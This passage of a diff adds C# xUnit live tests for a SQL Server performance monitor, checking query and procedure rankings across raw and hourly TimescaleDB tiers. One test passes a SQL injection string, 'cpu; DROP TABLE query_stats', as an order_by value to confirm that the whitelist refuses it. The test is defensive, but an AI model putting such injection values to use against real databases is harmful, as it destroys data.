+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5226 live pins for the ranking choice where it needs rollups: the hourly path answers CPU, duration and executions
+/// from the rollup on a window raw no longer holds, reads stays on raw (the rollups carry no logical reads) and says
+/// so, and a reads ranking over a window that starts before the raw floor carries the retention notice while one inside
+/// the floor, and every other ranking, carries none. The raw path and the endpoint's refusal are in
+/// <see cref="TopRankingLiveTests"/>, which runs on the shared store.
+///
+/// <para><b>#1776 own-store</b> — each test mints a scratch database, because it materializes continuous aggregates the
+/// shared fixture must never inherit, so this class is deliberately NOT in the <c>live-postgres</c> collection.</para>
+///
+/// <para><b>One test per grid, not per choice.</b> Every test builds a TimescaleDB store, which is most of its cost, so the
+/// choices are looped inside one test per grid and each assertion names the choice it checks. The hourly tests reuse the
+/// seed of <see cref="TopRankingLiveTests"/>; the raw floor and the rollup floor are made to differ by planting the seed
+/// in the first hours of an aged window, refreshing the hourly view, then deleting those raw rows and keeping one later
+/// survivor, so the router sends the CPU, duration and executions reads to the rollup and the reads read finds only the
+/// survivor in raw. The reads are read through a FRESH data source, because coverage is cached per data source.</para>
+/// </summary>
+public sealed class TopRankingHourlyLiveTests
+{
+    private const int ServerId = -943851;
+    private const string ServerName = "a5226-top-ranking-hourly";
+
+    /// <summary>Fixed anchor, never wall-clock relative: the window ages past raw's floor once the seed's raw rows are deleted,
+    /// which is what drives the router, not calendar time (the same shape the #4231 routing tests use).</summary>
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly TimeSpan[] SeedOffsets =
+    [
+        TimeSpan.FromHours(1), TimeSpan.FromMinutes(80), TimeSpan.FromHours(2), TimeSpan.FromMinutes(140),
+    ];
+
+    private static readonly DateTime SurvivorAt = WindowStart.AddHours(5);
+
+    [Fact]
+    public Task Queries_OnTheHourlyPath_EachChoiceButReadsRanksItsOwnMetric_AndReadsStaysOnRaw() =>
+        WithHourlyStoreAsync(async (scratch, connection, ct) =>
+        {
+            var windowEnd = WindowStart.AddDays(1);
+            for (var i = 0; i < TopRankingLiveTests.Seeds.Length; i++)
+            {
+                var seed = TopRankingLiveTests.Seeds[i];
+                await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, WindowStart + SeedOffsets[i],
+                    seed.Name, seed.CpuUs, seed.ElapsedUs, seed.Reads, seed.Executions);
+            }
+
+            await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, windowEnd.AddHours(1), ct);
+            await PurgeSeedAsync(connection, "collect.query_stats", ct);
+
+            await using var hourlyDataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            foreach (var (ranking, expectedOrder) in new[]
+            {
+                (TopRanking.Cpu, "0xQCPU,0xQREADS,0xQEXEC,0xQDUR,0xQSURV"),
+                (TopRanking.Duration, "0xQDUR,0xQCPU,0xQREADS,0xQEXEC,0xQSURV"),
+                (TopRanking.Executions, "0xQEXEC,0xQREADS,0xQCPU,0xQDUR,0xQSURV"),
+            })
+            {
+                var label = "queries by " + TopRankings.WireName(ranking);
+                var result = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                    hourlyDataSource, ServerId, WindowStart, windowEnd, top: 10, databaseName: null, ranking: ranking, cancellationToken: ct);
+                Assert.True(result.Tier == RetentionTier.Hourly, $"{label}: expected the hourly tier but read {result.Tier}");
+                TopRankingLiveTests.AssertOrder(result.Rows.Select(r => r.QueryHash), expectedOrder, label + " (hourly)");
+                Assert.Null(result.RetentionNotice);
+            }
+
+            /* Reads: the same window, which the router would send to the rollup, is read from raw, where only the survivor is. */
+            var reads = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                hourlyDataSource, ServerId, WindowStart, windowEnd, top: 10, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Raw, reads.Tier);
+            Assert.True(reads.RawForced);
+            Assert.Equal("0xQSURV", Assert.Single(reads.Rows).QueryHash);
+            Assert.NotNull(reads.RetentionNotice);
+
+            /* The page sees it as the tier it read, the reason, and how far back raw reached. */
+            var query = "?server=" + ServerName + "&hours=24&as_of=" + Uri.EscapeDataString(windowEnd.ToString("o"));
+            using (var readsDoc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(hourlyDataSource, "get_top_queries_by_cpu", query + "&order_by=reads")))
+            {
+                var root = readsDoc.RootElement;
+                Assert.Equal("raw", root.GetProperty("tier_used").GetString());
+                Assert.Contains("order_by=reads needs per-query logical reads", root.GetProperty("precision_note").GetString(), StringComparison.Ordinal);
+                Assert.True(root.GetProperty("window_truncated").GetBoolean());
+                Assert.Equal(DateTime.SpecifyKind(DarlingMcpTestData.TruncateToSeconds(SurvivorAt), DateTimeKind.Utc).ToString("o"), root.GetProperty("effective_start").GetString());
+                Assert.Equal(JsonValueKind.String, root.GetProperty("retention_notice").ValueKind);
+            }
+
+            using var durationDoc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(hourlyDataSource, "get_top_queries_by_cpu", query + "&order_by=duration"));
+            Assert.Equal("hourly", durationDoc.RootElement.GetProperty("tier_used").GetString());
+            Assert.Equal("0xQDUR", durationDoc.RootElement.GetProperty("queries")[0].GetProperty("query_hash").GetString());
+        });
+
+    [Fact]
+    public Task Procedures_OnTheHourlyPath_EachChoiceButReadsRanksItsOwnMetric_AndReadsStaysOnRaw() =>
+        WithHourlyStoreAsync(async (scratch, connection, ct) =>
+        {
+            var windowEnd = WindowStart.AddDays(1);
+            for (var i = 0; i < TopRankingLiveTests.Seeds.Length; i++)
+            {
+                var seed = TopRankingLiveTests.Seeds[i];
+                await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, WindowStart + SeedOffsets[i],
+                    seed.Name, seed.CpuUs, seed.ElapsedUs, seed.Reads, seed.Executions);
+            }
+
+            await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, WindowStart, windowEnd.AddHours(1), ct);
+            await PurgeSeedAsync(connection, "collect.procedure_stats", ct);
+
+            await using var hourlyDataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            foreach (var (ranking, expectedOrder) in new[]
+            {
+                (TopRanking.Cpu, "usp_QCPU,usp_QREADS,usp_QEXEC,usp_QDUR,usp_QSURV"),
+                (TopRanking.Duration, "usp_QDUR,usp_QCPU,usp_QREADS,usp_QEXEC,usp_QSURV"),
+                (TopRanking.Executions, "usp_QEXEC,usp_QREADS,usp_QCPU,usp_QDUR,usp_QSURV"),
+            })
+            {
+                var label = "procedures by " + TopRankings.WireName(ranking);
+                var result = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                    hourlyDataSource, ServerId, WindowStart, windowEnd, top: 10, databaseName: null, ranking: ranking, cancellationToken: ct);
+                Assert.True(result.Tier == RetentionTier.Hourly, $"{label}: expected the hourly tier but read {result.Tier}");
+                TopRankingLiveTests.AssertOrder(result.Rows.Select(r => r.ObjectName), expectedOrder, label + " (hourly)");
+                Assert.Null(result.RetentionNotice);
+            }
+
+            var reads = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                hourlyDataSource, ServerId, WindowStart, windowEnd, top: 10, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Raw, reads.Tier);
+            Assert.True(reads.RawForced);
+            Assert.Equal("usp_QSURV", Assert.Single(reads.Rows).ObjectName);
+            Assert.NotNull(reads.RetentionNotice);
+
+            var query = "?server=" + ServerName + "&hours=24&as_of=" + Uri.EscapeDataString(windowEnd.ToString("o"));
+            using (var readsDoc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(hourlyDataSource, "get_top_procedures_by_cpu", query + "&order_by=reads")))
+            {
+                var root = readsDoc.RootElement;
+                Assert.Equal("raw", root.GetProperty("tier_used").GetString());
+                Assert.Contains("order_by=reads needs per-procedure logical reads", root.GetProperty("precision_note").GetString(), StringComparison.Ordinal);
+                Assert.Equal(JsonValueKind.String, root.GetProperty("retention_notice").ValueKind);
+            }
+
+            using var durationDoc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(hourlyDataSource, "get_top_procedures_by_cpu", query + "&order_by=duration"));
+            Assert.Equal("hourly", durationDoc.RootElement.GetProperty("tier_used").GetString());
+            Assert.Equal("dbo.usp_QDUR", durationDoc.RootElement.GetProperty("procedures")[0].GetProperty("full_name").GetString());
+        });
+
+    /// <summary>
+    /// The notice, both sides, through the web read dispatch. Raw holds only the last six hours, so a reads ranking over seven days
+    /// starts before the store's measured raw floor and says the list is partial, while one over three hours starts inside the
+    /// floor and says nothing, and no other ranking says anything over either window (they read the rollup, which can answer).
+    /// </summary>
+    [Fact]
+    public Task RetentionNotice_AReadsRankingStartingBeforeTheRawFloorCarriesIt_AndOneInsideTheFloorDoesNot() =>
+        WithHourlyStoreAsync(async (scratch, connection, ct) =>
+        {
+            var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+            /* Each group is planted twice: at now minus 6 h (the row the seven-day read reaches back to) and at now minus 1 h
+               (the row the three-hour read finds). #5226 F6: with only the six-hour rows the three-hour window held nothing, the
+               read answered an empty envelope with no retention_notice key at all, and a notice builder that fired on every
+               reads read would have passed the "inside the floor" arm. */
+            foreach (var seed in TopRankingLiveTests.Seeds)
+            {
+                foreach (var hoursBack in new[] { 6, 1 })
+                {
+                    await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, now.AddHours(-hoursBack),
+                        seed.Name, seed.CpuUs, seed.ElapsedUs, seed.Reads, seed.Executions);
+                    await TopRankingLiveTests.PlantProcedureAsync(connection, ct, "collect.procedure_stats", ServerId, ServerName, now.AddHours(-hoursBack),
+                        seed.Name, seed.CpuUs, seed.ElapsedUs, seed.Reads, seed.Executions);
+                }
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            foreach (var (read, rowsKey) in new[] { ("get_top_queries_by_cpu", "queries"), ("get_top_procedures_by_cpu", "procedures") })
+            {
+                var before = NoticeOf(await TopRankingLiveTests.WebReadAsync(postgres, read, $"?server={ServerName}&hours=168&order_by=reads"), rowsKey, read);
+                Assert.True(before is not null, $"{read}: a reads ranking over seven days starts before raw's floor and must carry the notice");
+                Assert.Contains("partial window", before, StringComparison.Ordinal);
+                Assert.Contains("raw tier", before, StringComparison.Ordinal);
+
+                /* NoticeOf asserts the answer holds rows, so a null here is a data answer that carries no notice, not an empty envelope. */
+                var inside = NoticeOf(await TopRankingLiveTests.WebReadAsync(postgres, read, $"?server={ServerName}&hours=3&order_by=reads"), rowsKey, read);
+                Assert.True(inside is null, $"{read}: a reads ranking that starts inside raw's floor carries no notice, but read: {inside}");
+
+                foreach (var other in new[] { "", "&order_by=cpu", "&order_by=duration", "&order_by=executions" })
+                {
+                    var notice = NoticeOf(await TopRankingLiveTests.WebReadAsync(postgres, read, $"?server={ServerName}&hours=168{other}"), rowsKey, read + other);
+                    Assert.True(notice is null, $"{read}{other}: only the reads ranking carries the notice, but read: {notice}");
+                }
+            }
+        });
+
+    // ---------------------------------------------------------------- plumbing
+
+    /// <summary>
+    /// The notice a DATA answer carries, or null when it carries none. The payload must hold at least one row under
+    /// <paramref name="rowsKey"/> and its <c>retention_notice</c> must be present: a JSON null or a string. An empty envelope
+    /// (no rows, no <c>retention_notice</c> key) fails here instead of reading as "no notice", which is what let the
+    /// "carries no notice" arms pass without reading anything (#5226 F6).
+    /// </summary>
+    private static string? NoticeOf(string json, string rowsKey, string label)
+    {
+        using var doc = JsonDocument.Parse(json);
+        var root = doc.RootElement;
+        Assert.True(
+            root.TryGetProperty(rowsKey, out var rows) && rows.ValueKind == JsonValueKind.Array && rows.GetArrayLength() > 0,
+            $"{label}: expected a data answer with rows under '{rowsKey}', but read: {json[..Math.Min(json.Length, 300)]}");
+        Assert.True(root.TryGetProperty("retention_notice", out var notice), $"{label}: a data answer carries a retention_notice key");
+        Assert.True(notice.ValueKind is JsonValueKind.Null or JsonValueKind.String, $"{label}: retention_notice is null or a string");
+        return notice.ValueKind == JsonValueKind.String ? notice.GetString() : null;
+    }
+
+    /// <summary>Deletes the seed's raw rows (the first three hours of the window) and leaves the survivor.</summary>
+    private static async Task PurgeSeedAsync(NpgsqlConnection connection, string table, CancellationToken ct)
+    {
+        await using var purge = new NpgsqlCommand(
+            $"DELETE FROM {table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+        purge.Parameters.AddWithValue(ServerId);
+        purge.Parameters.AddWithValue(WindowStart);
+        purge.Parameters.AddWithValue(WindowStart.AddHours(3));
+        await purge.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Mints a scratch TimescaleDB store with the continuous aggregates and this class's server registered, and runs the body on it.</summary>
+    private static async Task WithHourlyStoreAsync(Func<ScratchPostgres, NpgsqlConnection, CancellationToken, Task> body)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5226 hourly ranking tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live #5226 hourly ranking tests need TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(scratch, connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopRankingLiveTests.cs b/Darling/Darling.Tests/TopRankingLiveTests.cs
new file mode 100644
index 0000000000..458102754c
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingLiveTests.cs
@@ -0,0 +1,394 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.DependencyInjection;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5226 live pins for the ranking choice the web's Top Queries and Top Procedures offer (CPU, duration, reads,
+/// executions), on the raw tier of the shared PostgreSQL store, where a store with no rollups always answers raw.
+/// The readers are called directly and through the web read dispatch, so a swap that lands in the SQL and a
+/// <c>order_by</c> that never reaches it both fail here. The hourly path, the reads route and the retention notice
+/// need rollups and live in <see cref="TopRankingHourlyLiveTests"/>, on a store of their own.
+///
+/// <para><b>Why the seed is shaped this way.</b> Each of the four groups wins exactly one ranking, so a swap that
+/// does nothing (every choice answering CPU) and a swap that sorts on the wrong column both change a first row.
+/// The delta-versus-cumulative seed gives one group a huge lifetime <c>total_logical_reads</c> and a small window
+/// delta and another the reverse: a reads ranking that sums the cumulative column puts the wrong one first.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopRankingLiveTests
+{
+    private const string ServerName = "darling-top-ranking-raw-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    /// <summary>The database name every planted row carries.</summary>
+    internal const string Db = "TopRankDb";
+
+    /// <summary>One planted group: the four metrics the rankings sort on (microseconds for CPU and elapsed time).</summary>
+    internal readonly record struct Seed(string Name, long CpuUs, long ElapsedUs, long Reads, long Executions);
+
+    /// <summary>
+    /// The seed that separates the four rankings. By CPU the first row is QCPU, by duration QDUR, by reads QREADS and
+    /// by executions QEXEC. QDUR is the case the issue is about: eight seconds of elapsed time on a tenth of a second
+    /// of CPU (blocked, or waiting on I/O), which a CPU-only list never shows near the top.
+    /// </summary>
+    internal static readonly Seed[] Seeds =
+    [
+        new("QCPU", 9_000_000, 1_000_000, 100, 10),
+        new("QDUR", 100_000, 8_000_000, 50, 5),
+        new("QREADS", 500_000, 600_000, 900_000, 20),
+        new("QEXEC", 300_000, 400_000, 200, 5_000),
+    ];
+
+    /// <summary>A procedure group's name for a seed name.</summary>
+    internal static string ProcName(string name) => "usp_" + name;
+
+    /// <summary>A query group's hash for a seed name.</summary>
+    internal static string QueryHash(string name) => "0x" + name;
+
+    // ---------------------------------------------------------------- the choices on the raw path
+
+    [Theory]
+    [InlineData(TopRanking.Cpu, "0xQCPU,0xQREADS,0xQEXEC,0xQDUR")]
+    [InlineData(TopRanking.Duration, "0xQDUR,0xQCPU,0xQREADS,0xQEXEC")]
+    [InlineData(TopRanking.Reads, "0xQREADS,0xQEXEC,0xQCPU,0xQDUR")]
+    [InlineData(TopRanking.Executions, "0xQEXEC,0xQREADS,0xQCPU,0xQDUR")]
+    public Task Queries_OnTheRawPath_EachChoiceRanksItsOwnMetric(TopRanking ranking, string expectedOrder) =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            var result = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: ranking, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Raw, result.Tier);
+            AssertOrder(result.Rows.Select(r => r.QueryHash), expectedOrder, "queries by " + TopRankings.WireName(ranking));
+        });
+
+    [Theory]
+    [InlineData(TopRanking.Cpu, "usp_QCPU,usp_QREADS,usp_QEXEC,usp_QDUR")]
+    [InlineData(TopRanking.Duration, "usp_QDUR,usp_QCPU,usp_QREADS,usp_QEXEC")]
+    [InlineData(TopRanking.Reads, "usp_QREADS,usp_QEXEC,usp_QCPU,usp_QDUR")]
+    [InlineData(TopRanking.Executions, "usp_QEXEC,usp_QREADS,usp_QCPU,usp_QDUR")]
+    public Task Procedures_OnTheRawPath_EachChoiceRanksItsOwnMetric(TopRanking ranking, string expectedOrder) =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            var result = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: ranking, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Raw, result.Tier);
+            AssertOrder(result.Rows.Select(r => r.ObjectName), expectedOrder, "procedures by " + TopRankings.WireName(ranking));
+        });
+
+    // ---------------------------------------------------------------- the issue's own case
+
+    /// <summary>
+    /// The case #5226 exists for: a query that ran long and used little CPU ranks first by duration and not by CPU.
+    /// This is the test shown RED by making <c>TopRankings.Apply</c> return its input unchanged.
+    /// </summary>
+    [Fact]
+    public Task Queries_ALongQueryWithLittleCpu_RanksFirstByDuration_AndNotByCpu() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            var byCpu = await DarlingDataReader.GetTopQueriesByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: TopRanking.Cpu, cancellationToken: ct);
+            var byDuration = await DarlingDataReader.GetTopQueriesByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: TopRanking.Duration, cancellationToken: ct);
+
+            Assert.Equal(QueryHash("QCPU"), byCpu[0].QueryHash);
+            Assert.Equal(QueryHash("QDUR"), byCpu[^1].QueryHash);
+            var first = byDuration[0];
+            Assert.Equal(QueryHash("QDUR"), first.QueryHash);
+            Assert.Equal(8_000_000L, first.TotalElapsedUs);
+            Assert.Equal(100_000L, first.TotalCpuUs);
+        });
+
+    /// <summary>The same case on the procedures grid.</summary>
+    [Fact]
+    public Task Procedures_ALongProcedureWithLittleCpu_RanksFirstByDuration_AndNotByCpu() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            var byCpu = await DarlingDataReader.GetTopProceduresByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: TopRanking.Cpu, cancellationToken: ct);
+            var byDuration = await DarlingDataReader.GetTopProceduresByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 10, databaseName: null, ranking: TopRanking.Duration, cancellationToken: ct);
+
+            Assert.Equal(ProcName("QCPU"), byCpu[0].ObjectName);
+            Assert.Equal(ProcName("QDUR"), byCpu[^1].ObjectName);
+            var first = byDuration[0];
+            Assert.Equal(ProcName("QDUR"), first.ObjectName);
+            Assert.Equal(8_000_000L, first.TotalElapsedUs);
+            Assert.Equal(100_000L, first.TotalCpuUs);
+        });
+
+    // ---------------------------------------------------------------- delta versus cumulative
+
+    /// <summary>
+    /// Reads ranks on the window's <c>delta_logical_reads</c>, never the lifetime <c>total_logical_reads</c>. QCUM has the
+    /// huge cumulative total and a small delta; QDELTA the reverse, spread over three snapshots. The ask is for ONE row (the statement over-fetches
+    /// five more than that, then re-ranks the page by the summed delta), so six fillers whose cumulative totals beat
+    /// QDELTA's fill that page when the inner sort reads the cumulative column: with it QDELTA never reaches the outer
+    /// re-rank at all. This is the test shown RED by pointing <c>TopRankings.Apply</c>'s reads metric at <c>total_logical_reads</c>.
+    /// </summary>
+    [Fact]
+    public Task Queries_Reads_SumsTheWindowsDeltas_NotTheCumulativeLifetimeTotal() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantCumulativeSeedAsync(connection, ct, now);
+            var rows = await DarlingDataReader.GetTopQueriesByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 1, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+
+            var first = Assert.Single(rows);
+            Assert.Equal(QueryHash("QDELTA"), first.QueryHash);
+            Assert.Equal(5_100L, first.TotalLogicalReads);
+        });
+
+    /// <summary>The same pin on the procedures grid, whose single-level statement sorts and caps in one place.</summary>
+    [Fact]
+    public Task Procedures_Reads_SumsTheWindowsDeltas_NotTheCumulativeLifetimeTotal() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantCumulativeSeedAsync(connection, ct, now);
+            var rows = await DarlingDataReader.GetTopProceduresByCpuAsync(
+                postgres, ServerId, now.AddHours(-24), now.AddMinutes(5), top: 1, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+
+            var first = Assert.Single(rows);
+            Assert.Equal(ProcName("QDELTA"), first.ObjectName);
+            Assert.Equal(5_100L, first.TotalLogicalReads);
+        });
+
+    // ---------------------------------------------------------------- the web read dispatch
+
+    /// <summary>
+    /// The page's <c>order_by</c> reaches the ranking through the web read dispatch: the served list's first row follows
+    /// the choice, and a request that names none is the CPU list it always was. The readers above cannot see a
+    /// dispatch that stops passing the choice down.
+    /// </summary>
+    [Fact]
+    public Task Endpoint_OrderBy_RanksTheServedList_AndAnAbsentValueIsCpu() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            foreach (var (orderBy, firstQuery, firstProcedure) in new[]
+            {
+                ("", "0xQCPU", "dbo.usp_QCPU"),
+                ("cpu", "0xQCPU", "dbo.usp_QCPU"),
+                ("duration", "0xQDUR", "dbo.usp_QDUR"),
+                ("reads", "0xQREADS", "dbo.usp_QREADS"),
+                ("executions", "0xQEXEC", "dbo.usp_QEXEC"),
+            })
+            {
+                var query = "?server=" + ServerName + "&hours=24" + (orderBy.Length == 0 ? "" : "&order_by=" + orderBy);
+
+                using var queries = JsonDocument.Parse(await WebReadAsync(postgres, "get_top_queries_by_cpu", query));
+                Assert.Equal(firstQuery, queries.RootElement.GetProperty("queries")[0].GetProperty("query_hash").GetString());
+
+                using var procedures = JsonDocument.Parse(await WebReadAsync(postgres, "get_top_procedures_by_cpu", query));
+                Assert.Equal(firstProcedure, procedures.RootElement.GetProperty("procedures")[0].GetProperty("full_name").GetString());
+            }
+        });
+
+    /// <summary>
+    /// An <c>order_by</c> the whitelist does not hold is refused, never read as CPU: the read dispatch returns the
+    /// <c>invalid</c> envelope, which <see cref="DarlingWebEndpoints.ClassifyToolResponse"/> calls a refusal and
+    /// <see cref="DarlingWebEndpoints.ToHttpResult"/> answers with a 400. The four spellings, in any case, are served.
+    /// The statement text never carries the request value, so the table the hostile spelling names is still there.
+    /// </summary>
+    [Fact]
+    public Task Endpoint_AnUnknownOrderBy_IsRefused_As400_OnBothReads() =>
+        WithSharedStoreAsync(async (connection, postgres, now, ct) =>
+        {
+            await PlantSeedsAsync(connection, ct, now);
+            foreach (var read in new[] { "get_top_queries_by_cpu", "get_top_procedures_by_cpu" })
+            {
+                foreach (var bad in new[] { "bogus", "cpu; DROP TABLE query_stats", "total_cpu_us", "worker_time" })
+                {
+                    var body = await WebReadAsync(postgres, read, "?server=" + ServerName + "&hours=24&order_by=" + Uri.EscapeDataString(bad));
+                    Assert.Equal(DarlingWebEndpoints.ToolResponseKind.Refusal, DarlingWebEndpoints.ClassifyToolResponse(body));
+                    Assert.Equal(StatusCodes.Status400BadRequest, HttpStatusOf(read, body));
+                    Assert.Contains("order_by must be cpu, duration, reads or executions", body, StringComparison.Ordinal);
+                }
+
+                foreach (var good in new[] { "cpu", "Duration", "READS", "executions" })
+                {
+                    var body = await WebReadAsync(postgres, read, "?server=" + ServerName + "&hours=24&order_by=" + good);
+                    Assert.Equal(DarlingWebEndpoints.ToolResponseKind.JsonPassthrough, DarlingWebEndpoints.ClassifyToolResponse(body));
+                    Assert.Equal(StatusCodes.Status200OK, HttpStatusOf(read, body));
+                }
+            }
+
+            await using var count = new NpgsqlCommand("SELECT count(*) FROM query_stats WHERE server_id = $1", connection);
+            count.Parameters.AddWithValue(ServerId);
+            Assert.Equal((long)Seeds.Length * SnapshotsPerGroup, Convert.ToInt64(await count.ExecuteScalarAsync(ct)));
+        });
+
+    // ---------------------------------------------------------------- planting and plumbing
+
+    /// <summary>
+    /// Plants the four-group seed on both grids, two hours back, with the interval an honest collection carries. Each group
+    /// lands as THREE snapshots a minute apart whose halves, quarters and remainder add up to the seed's totals (#5226 F7):
+    /// with one row per group SUM, MAX, AVG and "the last value" all answer the same, so a ranking that stopped summing would
+    /// still pass. <see cref="SnapshotsPerGroup"/> is how many rows a group holds.
+    /// </summary>
+    private static async Task PlantSeedsAsync(NpgsqlConnection connection, CancellationToken ct, DateTime now)
+    {
+        foreach (var seed in Seeds)
+        {
+            for (var i = 0; i < SnapshotsPerGroup; i++)
+            {
+                var at = now.AddHours(-2).AddMinutes(i);
+                await PlantQueryAsync(connection, ct, "query_stats", ServerId, ServerName, at, seed.Name,
+                    Part(seed.CpuUs, i), Part(seed.ElapsedUs, i), Part(seed.Reads, i), Part(seed.Executions, i));
+                await PlantProcedureAsync(connection, ct, "procedure_stats", ServerId, ServerName, at, seed.Name,
+                    Part(seed.CpuUs, i), Part(seed.ElapsedUs, i), Part(seed.Reads, i), Part(seed.Executions, i));
+            }
+        }
+    }
+
